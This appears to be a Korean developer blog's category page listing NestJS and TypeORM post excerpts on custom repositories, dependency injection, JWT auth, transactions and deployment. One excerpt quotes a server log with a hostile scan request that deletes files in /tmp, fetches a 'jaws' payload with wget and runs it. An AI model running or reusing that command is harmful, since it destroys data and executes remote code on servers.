nestjs 9

TypeORM - Custom Repository 개선안

이전 내용 사실 이전에 TypeORM이 0.3.x 버전 이상으로 올라가면서 @EntityRepository(User) export class UserRepository extends Repository { async customMethod(userId: number): Promise { ... } } 위와 같이 @EntityRepository() 데코레이터를 사용해서 CustomRepository를 구현하는 것이 불가능해졌었기 때문에 typeORM 0.3 버전 이후의 Custom-repository - hou27 TypeORM - Custom repository(사용자 정의 레포지토리) 데이터 베이스 작업 로직을 작성하던 중 내가 작성한 함수를 typeORM에 정의된 메서드처럼 사용할 수 있는 방법이 있..

Backend/NestJS 2023.05.01

NestJS - Provider와 Nest IoC Container

왜 그랬는지는 모르겠지만 Typescript Type Challenge를 하다가 갑자기 Provider에 대한 궁금증이 생겼다. Provider NestJS의 Provider는 Providers are a fundamental concept in Nest. Many of the basic Nest classes may be treated as a provider – services, repositories, factories, helpers, and so on. The main idea of a provider is that it can be injected as a dependency; this means objects can create various relationships with each oth..

Backend/NestJS 2023.03.18

TypeORM - select distinct 이슈

문제 발견 혼자 작업하던 중 팀원과 성능 관련 얘기를 하던게 생각나서 로깅되던 Query문을 자세히 살펴봤는데, 작성한 쿼리보다 많은 쿼리문이 실행되고 있는 것을 발견하게 되었다. TypeORM 의도치 않은 중복 필터링 문제 개선 TypeORM 의도치 않은 중복 필터링 문제 개선 · Issue #168 · Quickchive/quickchive-backend 아래와 같은 코드 동작 시 const { categories } = await this.users.findOneOrFail({ where: { id: user.id }, relations: { categories: true, }, }); 쿼리가 2개 실행되는 현상 발생 메인 쿼리를 중복 필터링 쿼리로 래핑하여 수 github.com N + 1 문제 ..

Backend/NestJS 2023.02.21

NestJS - Transaction Interceptor 적용하기

진행 순서 문제 당면 해결 과정 근본적인 문제 개선 방법 - AOP Interceptor 구현 및 적용 본 포스트는 NestJS + TypeORM 환경에서 진행됩니다. 프로젝트를 진행하면서 어느 순간부터 자꾸만 504 Gateway Timeout Error 때문에 서버가 죽어버리는 현상이 발생했다. 그래서 서버 로그를 확인해보면 이런 로그 또는 {"level":"error","message":"Cannot GET /shell?cd+/tmp;rm+-rf+*;wget+0.0.0.0/jaws;sh+/tmp/jaws","name":"NotFoundException","response":{"error":"Not Found","message":"Cannot GET /shell?cd+/tmp;rm+-rf+*;wget..

Backend/NestJS 2022.11.01

Dependency Injection(의존성 주입 - DI)란?

NestJS 공부할 때부터 접하던 개념인데 이번에 Spring을 공부하면서 제대로 짚고 넘어가야겠단 생각이 들었다. Dependency Injection 만약 A 객체가 B 객체의 변화에 영향을 받는다면 A는 B를 의존한다고 한다. 예를 들면 아래와 같다. public class UserService { private final UserRepository users = new MemoryUserRepository(); ... } 위의 UserService는 MemoryUserRepository를 의존한다고 할 수 있다. MemoryUserRepository가 변한다면, 결국 UserService도 변화하게 되는 것이다. 소프트웨어 엔지니어링에서 의존성 주입이란 하나의 객체가 다른 객체의 의존성을 제공하는..

Dev 2022.05.07

NestJS - JWT을 사용한 사용자 인증 ( with graphql )

NestJS를 사용한 백엔드에서 jwt 토큰으로 인증을 진행할 때 어떻게 구현해야할까? 지금부터 알아보도록 하겠다. 우선 구현에 앞서 몇몇 코드를 살펴보고 가자. Backend 서버는 graphql api를 사용하였으며, 공식문서를 참고하였습니다. https://docs.nestjs.com/security/authentication#implementing-passport-strategies Documentation | NestJS - A progressive Node.js framework Nest is a framework for building efficient, scalable Node.js server-side applications. It uses progressive JavaScript, is..

Backend/NestJS 2022.04.24

Refresh Token - JWT

사용자를 인증하는 부분은 거의 모든 서비스에서 가장 중요하다고 할 수 있을 정도로 핵심적인 부분이다. 사용자를 인증하는 방법 중 하나인 JWT 기법과 함께 refresh token라는 장치에 대해 알아보고 구현해보도록 하겠다. JWT JWT란, JSON Web Token의 약자로, 사용자 인증을 위해 사용하는 암호화된 토큰을 의미한다. 기본적으로 JWT는 ' . ' 으로 구분되어 header, payload, signature 3파트로 나뉜다. 11111111111.22222222222222.333333333333 예를 들면 위와 같은 형식인 것이다. eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoienhjengiLCJzdWIiOjE4LCJpYXQiOjE2NDkwN..

개발 일지 2022.04.04

TypeORM - Custom repository(사용자 정의 레포지토리)

여기로! 현재 더 나은 방법을 포스팅해두었습니다. TypeORM-Custom-Repository-개선안 - hou27 TypeORM - Custom Repository 개선안 이전 내용 사실 이전에 TypeORM이 0.3.x 버전 이상으로 올라가면서 @EntityRepository(User) export class UserRepository extends Repository { async customMethod(userId: number): Promise { ... } } 위와 같이 @EntityRepository() 데코레 hou27.tistory.com ㄴ 이 글을 추천드립니다!! 들어가며 데이터 베이스 작업 로직을 작성하던 중 내가 작성한 함수를 typeORM에 정의된 메서드처럼 사용할 수 있는 방..

Backend/NestJS 2022.03.26

Heroku로 백엔드 배포하기

어느 정도 프로젝트를 진행하다가 우선 배포를 한번 진행하면서 에러를 체크하고 싶다는 생각이 들었다. 그래서 바로 실행에 옮겼다. NestJS Documentation | NestJS - A progressive Node.js framework Nest is a framework for building efficient, scalable Node.js server-side applications. It uses progressive JavaScript, is built with TypeScript and combines elements of OOP (Object Oriented Progamming), FP (Functional Programming), and FRP (Functional Reac docs...

개발 일지 2022.03.17